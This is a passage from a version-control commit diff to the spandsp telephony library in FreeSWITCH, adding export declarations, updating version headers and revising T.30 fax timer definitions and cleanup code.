+SPAN_DECLARE(void) vec_scaledx_subl(long double z[], const long double x[], long double x_scale, const long double y[], int n);
+#endif
+
+SPAN_DECLARE(void) vec_scaledy_subf(float z[], const float x[], const float y[], float y_scale, int n);
+
+SPAN_DECLARE(void) vec_scaledy_sub(double z[], const double x[], const double y[], double y_scale, int n);
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_scaledy_subl(long double z[], const long double x[], const long double y[], long double y_scale, int n);
+#endif
+
+SPAN_DECLARE(void) vec_scalar_mulf(float z[], const float x[], float y, int n);
+
+SPAN_DECLARE(void) vec_scalar_mul(double z[], const double x[], double y, int n);
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_scalar_mull(long double z[], const long double x[], long double y, int n);
+#endif
+
+SPAN_DECLARE(void) vec_scalar_addf(float z[], const float x[], float y, int n);
+
+SPAN_DECLARE(void) vec_scalar_add(double z[], const double x[], double y, int n);
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_scalar_addl(long double z[], const long double x[], long double y, int n);
+#endif
+
+SPAN_DECLARE(void) vec_scalar_subf(float z[], const float x[], float y, int n);
+
+SPAN_DECLARE(void) vec_scalar_sub(double z[], const double x[], double y, int n);
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_scalar_subl(long double z[], const long double x[], long double y, int n);
+#endif
+
+SPAN_DECLARE(void) vec_mulf(float z[], const float x[], const float y[], int n);
+
+SPAN_DECLARE(void) vec_mul(double z[], const double x[], const double y[], int n);
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) vec_mull(long double z[], const long double x[], const long double y[], int n);
+#endif
+
 /*! \brief Find the dot product of two float vectors.
     \param x The first vector.
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-float vec_dot_prodf(const float x[], const float y[], int n);
+SPAN_DECLARE(float) vec_dot_prodf(const float x[], const float y[], int n);
 
 /*! \brief Find the dot product of two double vectors.
     \param x The first vector.
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-double vec_dot_prod(const double x[], const double y[], int n);
+SPAN_DECLARE(double) vec_dot_prod(const double x[], const double y[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
 /*! \brief Find the dot product of two long double vectors.
@@ -125,7 +173,7 @@
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-long double vec_dot_prodl(const long double x[], const long double y[], int n);
+SPAN_DECLARE(long double) vec_dot_prodl(const long double x[], const long double y[], int n);
 #endif
 
 /*! \brief Find the dot product of two float vectors, where the first is a circular buffer
@@ -135,11 +183,11 @@
     \param n The number of elements in the vectors.
     \param pos The starting position in the x vector.
     \return The dot product of the two vectors. */
-float vec_circular_dot_prodf(const float x[], const float y[], int n, int pos);
+SPAN_DECLARE(float) vec_circular_dot_prodf(const float x[], const float y[], int n, int pos);
 
-void vec_lmsf(const float x[], float y[], int n, float error);
+SPAN_DECLARE(void) vec_lmsf(const float x[], float y[], int n, float error);
 
-void vec_circular_lmsf(const float x[], float y[], int n, int pos, float error);
+SPAN_DECLARE(void) vec_circular_lmsf(const float x[], float y[], int n, int pos, float error);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/vector_int.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/vector_int.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/vector_int.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vector_int.h,v 1.13 2008/09/18 13:54:32 steveu Exp $
+ * $Id: vector_int.h,v 1.14 2009/01/31 08:48:11 steveu Exp $
  */
 
 #if !defined(_SPANDSP_VECTOR_INT_H_)
@@ -101,7 +101,7 @@
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-int32_t vec_dot_prodi16(const int16_t x[], const int16_t y[], int n);
+SPAN_DECLARE(int32_t) vec_dot_prodi16(const int16_t x[], const int16_t y[], int n);
 
 /*! \brief Find the dot product of two int16_t vectors, where the first is a circular buffer
            with an offset for the starting position.
@@ -110,11 +110,11 @@
     \param n The number of elements in the vectors.
     \param pos The starting position in the x vector.
     \return The dot product of the two vectors. */
-int32_t vec_circular_dot_prodi16(const int16_t x[], const int16_t y[], int n, int pos);
+SPAN_DECLARE(int32_t) vec_circular_dot_prodi16(const int16_t x[], const int16_t y[], int n, int pos);
 
-void vec_lmsi16(const int16_t x[], int16_t y[], int n, int16_t error);
+SPAN_DECLARE(void) vec_lmsi16(const int16_t x[], int16_t y[], int n, int16_t error);
 
-void vec_circular_lmsi16(const int16_t x[], int16_t y[], int n, int pos, int16_t error);
+SPAN_DECLARE(void) vec_circular_lmsi16(const int16_t x[], int16_t y[], int n, int pos, int16_t error);
 
 /*! \brief Find the minimum and maximum values in an int16_t vector.
     \param x The vector to be searched.
@@ -125,7 +125,7 @@
     \return The absolute maximum value. Since the range of negative numbers
             exceeds the range of positive one, the returned integer is longer
             than the ones being searched. */
-int32_t vec_min_maxi16(const int16_t x[], int n, int16_t out[]);
+SPAN_DECLARE(int32_t) vec_min_maxi16(const int16_t x[], int n, int16_t out[]);
 
 static __inline__ int vec_norm2i16(const int16_t *vec, int len)
 {

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/version.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/version.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/version.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: version.h.in,v 1.2 2007/04/06 13:20:36 steveu Exp $
+ * $Id: version.h.in,v 1.3 2009/03/01 12:39:02 steveu Exp $
  */
 
 #if !defined(_SPANDSP_VERSION_H_)
@@ -30,8 +30,9 @@
 
 /* The date and time of the version are in UTC form. */
 
-#define SPANDSP_RELEASE_DATE    20080930
-#define SPANDSP_RELEASE_TIME    181513
+#define SPANDSP_RELEASE_DATE            20090714
+#define SPANDSP_RELEASE_TIME            135534
+#define SPANDSP_RELEASE_DATETIME_STRING "20090714 135534"
 
 #endif
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/version.h.in (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/version.h.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/version.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: version.h.in,v 1.2 2007/04/06 13:20:36 steveu Exp $
+ * $Id: version.h.in,v 1.3 2009/03/01 12:39:02 steveu Exp $
  */
 
 #if !defined(_SPANDSP_VERSION_H_)
@@ -30,8 +30,9 @@
 
 /* The date and time of the version are in UTC form. */
 
-#define SPANDSP_RELEASE_DATE    $SPANDSP_RELEASE_DATE
-#define SPANDSP_RELEASE_TIME    $SPANDSP_RELEASE_TIME
+#define SPANDSP_RELEASE_DATE            $SPANDSP_RELEASE_DATE
+#define SPANDSP_RELEASE_TIME            $SPANDSP_RELEASE_TIME
+#define SPANDSP_RELEASE_DATETIME_STRING "$SPANDSP_RELEASE_DATE $SPANDSP_RELEASE_TIME"
 
 #endif
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp.h.in (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp.h.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: spandsp.h.in,v 1.11 2008/09/19 14:02:05 steveu Exp $
+ * $Id: spandsp.h.in,v 1.18 2009/04/02 13:43:49 steveu Exp $
  */
 
 /*! \file */
@@ -33,6 +33,8 @@
 @SPANDSP_USE_FIXED_POINT@
 @SPANDSP_MISALIGNED_ACCESS_FAILS@
 
+@SPANDSP_USE_EXPORT_CAPABILITY@
+
 #include <stdlib.h>
 @INSERT_INTTYPES_HEADER@
 #include <string.h>
@@ -42,6 +44,7 @@
 #include <tiffio.h>
 
 #include <spandsp/telephony.h>
+#include <spandsp/fast_convert.h>
 #include <spandsp/logging.h>
 #include <spandsp/complex.h>
 #include <spandsp/bit_operations.h>
@@ -66,8 +69,8 @@
 #include <spandsp/echo.h>
 #include <spandsp/modem_echo.h>
 #include <spandsp/crc.h>
+#include <spandsp/async.h>
 #include <spandsp/hdlc.h>
-#include <spandsp/async.h>
 #include <spandsp/noise.h>
 #include <spandsp/saturated.h>
 #include <spandsp/time_scale.h>
@@ -89,6 +92,7 @@
 #include <spandsp/v27ter_rx.h>
 #include <spandsp/v27ter_tx.h>
 #include <spandsp/v8.h>
+#include <spandsp/v18.h>
 #include <spandsp/v42.h>
 #include <spandsp/v42bis.h>
 #include <spandsp/t4.h>
@@ -116,4 +120,8 @@
 #include <spandsp/playout.h>
 
 #endif
+
+#if defined(SPANDSP_EXPOSE_INTERNAL_STRUCTURES)
+#include <spandsp/expose.h>
+#endif
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/super_tone_rx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/super_tone_rx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/super_tone_rx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: super_tone_rx.c,v 1.29 2008/07/25 13:56:54 steveu Exp $
+ * $Id: super_tone_rx.c,v 1.33 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
@@ -38,15 +38,16 @@
 #include <ctype.h>
 #include <time.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
 #include "spandsp/complex_vector_float.h"
@@ -54,6 +55,8 @@
 #include "spandsp/tone_generate.h"
 #include "spandsp/super_tone_rx.h"
 
+#include "spandsp/private/super_tone_rx.h"
+
 #if defined(SPANDSP_USE_FIXED_POINT)
 #define DETECTION_THRESHOLD         16439           /* -42dBm0 */
 #define TONE_TWIST                  4               /* 6dB */
@@ -103,7 +106,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int super_tone_rx_add_tone(super_tone_rx_descriptor_t *desc)
+SPAN_DECLARE(int) super_tone_rx_add_tone(super_tone_rx_descriptor_t *desc)
 {
     if (desc->tones%5 == 0)
     {
@@ -117,12 +120,12 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int super_tone_rx_add_element(super_tone_rx_descriptor_t *desc,
-                              int tone,
-                              int f1,
-                              int f2,
-                              int min,
-                              int max)
+SPAN_DECLARE(int) super_tone_rx_add_element(super_tone_rx_descriptor_t *desc,
+                                            int tone,
+                                            int f1,
+                                            int f2,
+                                            int min,
+                                            int max)
 {
     int step;
 
@@ -195,7 +198,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-super_tone_rx_descriptor_t *super_tone_rx_make_descriptor(super_tone_rx_descriptor_t *desc)
+SPAN_DECLARE(super_tone_rx_descriptor_t *) super_tone_rx_make_descriptor(super_tone_rx_descriptor_t *desc)
 {
     if (desc == NULL)
     {
@@ -213,7 +216,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int super_tone_rx_free_descriptor(super_tone_rx_descriptor_t *desc)
+SPAN_DECLARE(int) super_tone_rx_free_descriptor(super_tone_rx_descriptor_t *desc)
 {
     if (desc)
         free(desc);
@@ -221,17 +224,17 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void super_tone_rx_segment_callback(super_tone_rx_state_t *s,
-                                    void (*callback)(void *data, int f1, int f2, int duration))
+SPAN_DECLARE(void) super_tone_rx_segment_callback(super_tone_rx_state_t *s,
+                                                  void (*callback)(void *data, int f1, int f2, int duration))
 {
     s->segment_callback = callback;
 }
 /*- End of function --------------------------------------------------------*/
 
-super_tone_rx_state_t *super_tone_rx_init(super_tone_rx_state_t *s,
-                                          super_tone_rx_descriptor_t *desc,
-                                          tone_report_func_t callback,
-                                          void *user_data)
+SPAN_DECLARE(super_tone_rx_state_t *) super_tone_rx_init(super_tone_rx_state_t *s,
+                                                         super_tone_rx_descriptor_t *desc,
+                                                         tone_report_func_t callback,
+                                                         void *user_data)
 {
     int i;
 
@@ -264,8 +267,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int super_tone_rx_free(super_tone_rx_state_t *s)
+SPAN_DECLARE(int) super_tone_rx_release(super_tone_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) super_tone_rx_free(super_tone_rx_state_t *s)
+{
     if (s)
         free(s);
     return 0;
@@ -408,7 +417,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int super_tone_rx(super_tone_rx_state_t *s, const int16_t amp[], int samples)
+SPAN_DECLARE(int) super_tone_rx(super_tone_rx_state_t *s, const int16_t amp[], int samples)
 {
     int i;
     int x;

Modified: freeswitch/branches/seven/libs/spandsp/src/super_tone_tx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/super_tone_tx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/super_tone_tx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: super_tone_tx.c,v 1.25 2008/07/02 14:48:26 steveu Exp $
+ * $Id: super_tone_tx.c,v 1.30 2009/02/10 17:44:18 steveu Exp $
  */
 
 /*! \file */
@@ -38,20 +38,24 @@
 #include <ctype.h>
 #include <time.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/complex.h"
 #include "spandsp/dds.h"
 #include "spandsp/tone_generate.h"
 #include "spandsp/super_tone_tx.h"
 
+#include "spandsp/private/tone_generate.h"
+#include "spandsp/private/super_tone_tx.h"
+
 /*
     The tone played to wake folk up when they have left the phone off hook is an
     oddity amongst supervisory tones. It is designed to sound loud and nasty. Most
@@ -66,13 +70,13 @@
     two iterations of 50 seconds each.
 */
 
-super_tone_tx_step_t *super_tone_tx_make_step(super_tone_tx_step_t *s,
-                                              float f1,
-                                              float l1,
-                                              float f2,
-                                              float l2,
-                                              int length,
-                                              int cycles)
+SPAN_DECLARE(super_tone_tx_step_t *) super_tone_tx_make_step(super_tone_tx_step_t *s,
+                                                             float f1,
+                                                             float l1,
+                                                             float f2,
+                                                             float l2,
+                                                             int length,
+                                                             int cycles)
 {
     if (s == NULL)
     {
@@ -108,7 +112,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void super_tone_tx_free(super_tone_tx_step_t *s)
+SPAN_DECLARE(int) super_tone_tx_free_tone(super_tone_tx_step_t *s)
 {
     super_tone_tx_step_t *t;
 
@@ -116,15 +120,16 @@
     {
         /* Follow nesting... */
         if (s->nest)
-            super_tone_tx_free(s->nest);
+            super_tone_tx_free_tone(s->nest);
         t = s;
         s = s->next;
         free(t);
     }
+    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-super_tone_tx_state_t *super_tone_tx_init(super_tone_tx_state_t *s, super_tone_tx_step_t *tree)
+SPAN_DECLARE(super_tone_tx_state_t *) super_tone_tx_init(super_tone_tx_state_t *s, super_tone_tx_step_t *tree)
 {
     if (tree == NULL)
         return NULL;
@@ -143,8 +148,22 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int super_tone_tx(super_tone_tx_state_t *s, int16_t amp[], int max_samples)
+SPAN_DECLARE(int) super_tone_tx_release(super_tone_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) super_tone_tx_free(super_tone_tx_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) super_tone_tx(super_tone_tx_state_t *s, int16_t amp[], int max_samples)
+{
     int samples;
     int limit;
     int len;
@@ -190,7 +209,7 @@
                     /* There must be two, and only two tones */
                     xamp = dds_modf(&s->phase[0], -s->tone[0].phase_rate, s->tone[0].gain, 0)
                          *(1.0f + dds_modf(&s->phase[1], s->tone[1].phase_rate, s->tone[1].gain, 0));
-                    amp[samples] = (int16_t) lrintf(xamp);
+                    amp[samples] = (int16_t) lfastrintf(xamp);
                 }
             }
             else
@@ -204,7 +223,7 @@
                             break;
                         xamp += dds_modf(&s->phase[i], s->tone[i].phase_rate, s->tone[i].gain, 0);
                     }
-                    amp[samples] = (int16_t) lrintf(xamp);
+                    amp[samples] = (int16_t) lfastrintf(xamp);
                 }
             }
             if (s->current_position)

Modified: freeswitch/branches/seven/libs/spandsp/src/t30.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t30.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t30.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,7 +5,7 @@
  *
  * Written by Steve Underwood <steveu@coppice.org>
  *
- * Copyright (C) 2003, 2004, 2005, 2006, 2007 Steve Underwood
+ * Copyright (C) 2003, 2004, 2005, 2006, 2007, 2008, 2009 Steve Underwood
  *
  * All rights reserved.
  *
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t30.c,v 1.267 2008/09/16 12:45:01 steveu Exp $
+ * $Id: t30.c,v 1.301 2009/05/25 12:37:38 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -37,13 +37,13 @@
 #include <string.h>
 #include <fcntl.h>
 #include <time.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <tiffio.h>
 
 #include "spandsp/telephony.h"
@@ -67,10 +67,21 @@
 #include "spandsp/t30_api.h"
 #include "spandsp/t30_logging.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t4.h"
+#include "spandsp/private/t30.h"
+
 #include "t30_local.h"
 
-#define MAX_MESSAGE_TRIES   3
+/*! The maximum permitted number of retries of a single command allowed. */
+#define MAX_COMMAND_TRIES   3
 
+/*! The maximum permitted number of retries of a single response request allowed. This
+    is not specified in T.30. However, if you don't apply some limit a messed up FAX
+    terminal could keep you retrying all day. Its a backstop protection. */
+#define MAX_RESPONSE_TRIES  6
+
+/*! Conversion between milliseconds and audio samples. */
 #define ms_to_samples(t)    (((t)*SAMPLE_RATE)/1000)
 
 /* T.30 defines the following call phases:
@@ -203,7 +214,7 @@
 
 /* All timers specified in milliseconds */
 
-/* Time-out T0 defines the amount of time an automatic calling terminal waits for the called terminal
+/*! Time-out T0 defines the amount of time an automatic calling terminal waits for the called terminal
 to answer the call.
 T0 begins after the dialling of the number is completed and is reset:
 a) when T0 times out; or
@@ -215,41 +226,45 @@
 NOTE - National regulations may require the use of other values for T0. */
 #define DEFAULT_TIMER_T0                60000
 
-/* Time-out T1 defines the amount of time two terminals will continue to attempt to identify each
+/*! Time-out T1 defines the amount of time two terminals will continue to attempt to identify each
 other. T1 is 35+-5s, begins upon entering phase B, and is reset upon detecting a valid signal or
 when T1 times out.
 For operating methods 3 and 4 (see 3.1), the calling terminal starts time-out T1 upon reception of
 the V.21 modulation scheme.
 For operating method 4 bis a (see 3.1), the calling terminal starts time-out T1 upon starting
-transmission using the V.21 modulation scheme. */
+transmission using the V.21 modulation scheme.
+Annex A says T1 is also the timeout to be used for the receipt of the first HDLC frame after the
+start of high speed flags in ECM mode. This seems a strange reuse of the T1 name, so we distinguish
+it here by calling it T1A. */
 #define DEFAULT_TIMER_T1                35000
+#define DEFAULT_TIMER_T1A               35000
 
-/* Time-out T2 makes use of the tight control between commands and responses to detect the loss of
+/*! Time-out T2 makes use of the tight control between commands and responses to detect the loss of
 command/response synchronization. T2 is 6+-1s, and begins when initiating a command search
 (e.g., the first entrance into the "command received" subroutine, reference flow diagram in section 5.2).
 T2 is reset when an HDLC flag is received or when T2 times out. */
 #define DEFAULT_TIMER_T2                7000
 
-/* Once HDLC flags begin, T2 is reset, and a 3s timer begins. This timer is unnamed in T.30. Here we
+/*! Once HDLC flags begin, T2 is reset, and a 3s timer begins. This timer is unnamed in T.30. Here we
 term it T2A. No tolerance is specified for this timer. T2A specifies the maximum time to wait for the
 end of a frame, after the initial flag has been seen. */
 #define DEFAULT_TIMER_T2A               3000
 
-/* If the HDLC carrier falls during reception, we need to apply a minimum time before continuing. if we
+/*! If the HDLC carrier falls during reception, we need to apply a minimum time before continuing. If we
    don't, there are circumstances where we could continue and reply before the incoming signals have
    really finished. E.g. if a bad DCS is received in a DCS-TCF sequence, we need wait for the TCF
    carrier to pass, before continuing. This timer is specified as 200ms, but no tolerance is specified.
-   It is unnamed in T.30. Here we termin it T2B */
+   It is unnamed in T.30. Here we term it T2B */
 #define DEFAULT_TIMER_T2B               200
 
-/* Time-out T3 defines the amount of time a terminal will attempt to alert the local operator in
+/*! Time-out T3 defines the amount of time a terminal will attempt to alert the local operator in
 response to a procedural interrupt. Failing to achieve operator intervention, the terminal will
 discontinue this attempt and shall issue other commands or responses. T3 is 10+-5s, begins on the
 first detection of a procedural interrupt command/response signal (i.e., PIN/PIP or PRI-Q) and is
 reset when T3 times out or when the operator initiates a line request. */
 #define DEFAULT_TIMER_T3                15000
 
-/* Time-out T4 defines the amount of time a terminal will wait for flags to begin, when waiting for a
+/*! Time-out T4 defines the amount of time a terminal will wait for flags to begin, when waiting for a
 response from a remote terminal. T2 is 3s +-15%, and begins when initiating a response search
 (e.g., the first entrance into the "response received" subroutine, reference flow diagram in section 5.2).
 T4 is reset when an HDLC flag is received or when T4 times out.
@@ -258,19 +273,20 @@
 be reduced to 3.0s +-15%. T4 = 3.0s +-15% for automatic units. */
 #define DEFAULT_TIMER_T4                3450
 
-/* Once HDLC flags begin, T4 is reset, and a 3s timer begins. This timer is unnamed in T.30. Here we
+/*! Once HDLC flags begin, T4 is reset, and a 3s timer begins. This timer is unnamed in T.30. Here we
 term it T4A. No tolerance is specified for this timer. T4A specifies the maximum time to wait for the
-end of a frame, after the initial flag has been seen. */
+end of a frame, after the initial flag has been seen. Note that a different timer is used for the fast
+HDLC in ECM mode, to provide time for physical paper handling. */
 #define DEFAULT_TIMER_T4A               3000
 
-/* If the HDLC carrier falls during reception, we need to apply a minimum time before continuing. if we
+/*! If the HDLC carrier falls during reception, we need to apply a minimum time before continuing. if we
    don't, there are circumstances where we could continue and reply before the incoming signals have
    really finished. E.g. if a bad DCS is received in a DCS-TCF sequence, we need wait for the TCF
    carrier to pass, before continuing. This timer is specified as 200ms, but no tolerance is specified.
-   It is unnamed in T.30. Here we termin it T4B */
+   It is unnamed in T.30. Here we term it T4B */
 #define DEFAULT_TIMER_T4B               200
 
-/* Time-out T5 is defined for the optional T.4 error correction mode. Time-out T5 defines the amount
+/*! Time-out T5 is defined for the optional T.4 error correction mode. Time-out T5 defines the amount
 of time waiting for clearance of the busy condition of the receiving terminal. T5 is 60+-5s and
 begins on the first detection of the RNR response. T5 is reset when T5 times out or the MCF or PIP
 response is received or when the ERR or PIN response is received in the flow control process after
@@ -278,46 +294,56 @@
 call release. */
 #define DEFAULT_TIMER_T5                65000
 
-/* (Annex C - ISDN) Time-out T6 defines the amount of time two terminals will continue to attempt to
+/*! (Annex C - ISDN) Time-out T6 defines the amount of time two terminals will continue to attempt to
 identify each other. T6 is 5+-0.5s. The timeout begins upon entering Phase B, and is reset upon
 detecting a valid signal, or when T6 times out. */
 #define DEFAULT_TIMER_T6                5000
 
-/* (Annex C - ISDN) Time-out T7 is used to detect loss of command/response synchronization. T7 is 6+-1s.
+/*! (Annex C - ISDN) Time-out T7 is used to detect loss of command/response synchronization. T7 is 6+-1s.
 The timeout begins when initiating a command search (e.g., the first entrance into the "command received"
-subroutine \x96 see flow diagram in C.5) and is reset upon detecting a valid signal or when T7 times out. */
+subroutine - see flow diagram in C.5) and is reset upon detecting a valid signal or when T7 times out. */
 #define DEFAULT_TIMER_T7                7000
 
-/* (Annex C - ISDN) Time-out T8 defines the amount of time waiting for clearance of the busy condition
+/*! (Annex C - ISDN) Time-out T8 defines the amount of time waiting for clearance of the busy condition
 of the receiving terminal. T8 is 10+-1s. The timeout begins on the first detection of the combination
 of no outstanding corrections and the RNR response. T8 is reset when T8 times out or MCF response is
 received. If the timer T8 expires, a DCN command is transmitted for call release. */
 #define DEFAULT_TIMER_T8                10000
 
-/* Final time we allow for things to flush through the system, before we disconnect, in milliseconds.
+/*! Final time we allow for things to flush through the system, before we disconnect, in milliseconds.
    200ms should be fine for a PSTN call. For a T.38 call something longer is desirable. */
 #define FINAL_FLUSH_TIME                1000
 
-/* The number of PPRs received before CTC or EOR is sent in ECM mode. T.30 defines this as 4,
+/*! The number of PPRs received before CTC or EOR is sent in ECM mode. T.30 defines this as 4,
    but it could be varied, and the Japanese spec, for example, does make this value a
    variable. */
 #define PPR_LIMIT_BEFORE_CTC_OR_EOR     4
 
+/* HDLC message header byte values */
+#define ADDRESS_FIELD                   0xFF
+#define CONTROL_FIELD_NON_FINAL_FRAME   0x03
+#define CONTROL_FIELD_FINAL_FRAME       0x13
+
 enum
 {
-    TIMER_IS_T2 = 0,
-    TIMER_IS_T2A = 1,
-    TIMER_IS_T2B = 2,
-    TIMER_IS_T2C = 3,
-    TIMER_IS_T4 = 4,
-    TIMER_IS_T4A = 5,
-    TIMER_IS_T4B = 6,
-    TIMER_IS_T4C = 7
+    TIMER_IS_IDLE = 0,
+    TIMER_IS_T2,
+    TIMER_IS_T1A,
+    TIMER_IS_T2A,
+    TIMER_IS_T2B,
+    TIMER_IS_T2C,
+    TIMER_IS_T4,
+    TIMER_IS_T4A,
+    TIMER_IS_T4B,
+    TIMER_IS_T4C
 };
 
 /* Start points in the fallback table for different capabilities */
+/*! The starting point in the modem fallback sequence if V.17 is allowed */
 #define T30_V17_FALLBACK_START          0
+/*! The starting point in the modem fallback sequence if V.17 is not allowed */
 #define T30_V29_FALLBACK_START          3
+/*! The starting point in the modem fallback sequence if V.29 is not allowed */
 #define T30_V27TER_FALLBACK_START       6
 
 static const struct
@@ -357,27 +383,61 @@
 static void timer_t4_start(t30_state_t *s);
 static void timer_t4a_start(t30_state_t *s);
 static void timer_t4b_start(t30_state_t *s);
+static void timer_t2_t4_stop(t30_state_t *s);
 
+/*! Test a specified bit within a DIS, DTC or DCS frame */
 #define test_ctrl_bit(s,bit) ((s)[3 + ((bit - 1)/8)] & (1 << ((bit - 1)%8)))
+/*! Set a specified bit within a DIS, DTC or DCS frame */
 #define set_ctrl_bit(s,bit) (s)[3 + ((bit - 1)/8)] |= (1 << ((bit - 1)%8))
+/*! Set a specified block of bits within a DIS, DTC or DCS frame */
 #define set_ctrl_bits(s,val,bit) (s)[3 + ((bit - 1)/8)] |= ((val) << ((bit - 1)%8))
+/*! Clear a specified bit within a DIS, DTC or DCS frame */
 #define clr_ctrl_bit(s,bit) (s)[3 + ((bit - 1)/8)] &= ~(1 << ((bit - 1)%8))
 
+static int terminate_operation_in_progress(t30_state_t *s)
+{
+    /* Make sure any FAX in progress is tidied up. If the tidying up has
+       already happened, repeating it here is harmless. */
+    switch (s->operation_in_progress)
+    {
+    case OPERATION_IN_PROGRESS_T4_TX:
+        t4_tx_release(&(s->t4));
+        break;
+    case OPERATION_IN_PROGRESS_T4_RX:
+        t4_rx_release(&(s->t4));
+        break;
+    }
+    s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int tx_start_page(t30_state_t *s)
 {
     if (t4_tx_start_page(&(s->t4)))
     {
-        t4_tx_end(&(s->t4));
-        s->operation_in_progress = OPERATION_IN_PROGRESS_NONE;
+        terminate_operation_in_progress(s);
         return -1;
     }
-    s->ecm_tx_page++;
     s->ecm_block = 0;
+    s->error_correcting_mode_retries = 0;
     span_log(&s->logging, SPAN_LOG_FLOW, "Starting page %d of transfer\n", s->ecm_tx_page + 1);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
+static int tx_end_page(t30_state_t *s)
+{
